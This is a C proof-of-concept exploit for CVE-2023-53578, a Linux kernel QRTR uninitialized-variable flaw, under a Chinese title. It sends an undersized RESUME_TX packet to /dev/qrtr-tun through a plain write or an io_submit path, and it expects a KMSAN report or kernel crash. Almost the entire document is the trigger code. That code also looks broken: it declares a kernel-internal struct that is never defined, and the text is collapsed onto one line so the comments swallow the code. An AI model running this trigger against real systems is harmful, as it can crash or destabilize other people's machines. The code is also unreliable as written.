CVE-2023-53578 Linux内核QRTR子系统未初始化变量访问漏洞

// CVE-2023-53578 PoC - Linux Kernel QRTR Uninit Variable Access // This PoC triggers the uninitialized variable access bug in qrtr_tx_resume() // by sending a QRTR_TYPE_RESUME_TX control packet with insufficient size. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <linux/aio_abi.h> #define QRTR_TUN_DEV "/dev/qrtr-tun" #define QRTR_TYPE_RESUME_TX 2 // QRTR_TYPE_RESUME_TX type value #define QRTR_CTRL_PKT_SIZE 8 // sizeof(struct qrtr_ctrl_pkt) // Trigger the vulnerability via qrtr tunnel write int trigger_vuln(void) { int fd; char buf[4]; // Intentionally smaller than sizeof(struct qrtr_ctrl_pkt) struct qrtr_ctrl_pkt pkt; fd = open(QRTR_TUN_DEV, O_WRONLY); if (fd < 0) { perror("open qrtr-tun"); return -1; } // Construct a malformed QRTR_TYPE_RESUME_TX packet // Size is less than sizeof(struct qrtr_ctrl_pkt) to trigger the bug memset(buf, 0, sizeof(buf)); buf[0] = QRTR_TYPE_RESUME_TX; // Set type to trigger vulnerable path // Write the malformed packet - this triggers qrtr_endpoint_post() // with insufficient size, leading to uninit memory access in qrtr_tx_resume() write(fd, buf, sizeof(buf)); close(fd); return 0; } // Alternative: Use io_submit (as shown in the call trace) for async trigger int trigger_vuln_async(void) { int fd, ret; struct iocb cb; struct iocb *cbs[1]; char buf[4]; // Smaller than qrtr_ctrl_pkt long ioctx_id; aio_context_t ioctx = 0; // Setup AIO context ret = syscall(SYS_io_setup, 1, &ioctx); if (ret < 0) { perror("io_setup"); return -1; } fd = open(QRTR_TUN_DEV, O_WRONLY); if (fd < 0) { perror("open qrtr-tun"); return -1; } memset(buf, 0, sizeof(buf)); buf[0] = QRTR_TYPE_RESUME_TX; // Prepare async I/O control block memset(&cb, 0, sizeof(cb)); cb.aio_fildes = fd; cb.aio_buf = (unsigned long)buf; cb.aio_nbytes = sizeof(buf); // Intentionally too small cb.aio_offset = 0; cb.aio_lio_opcode = IOCB_CMD_PWRITE; cbs[0] = &cb; // Submit async write - triggers the vulnerable code path // Call trace: io_submit -> aio_write -> qrtr_tun_write_iter -> // qrtr_endpoint_post -> qrtr_tx_resume (BUG) ret = syscall(SYS_io_submit, ioctx, 1, cbs); if (ret < 0) { perror("io_submit"); } close(fd); syscall(SYS_io_destroy, ioctx); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53578 PoC - Linux Kernel QRTR Uninit Variable Access\n"); printf("Triggering vulnerability...\n"); if (argc > 1 && strcmp(argv[1], "async") == 0) { trigger_vuln_async(); } else { trigger_vuln(); } printf("Done. Check kernel logs for KMSAN report or crash.\n"); return 0; }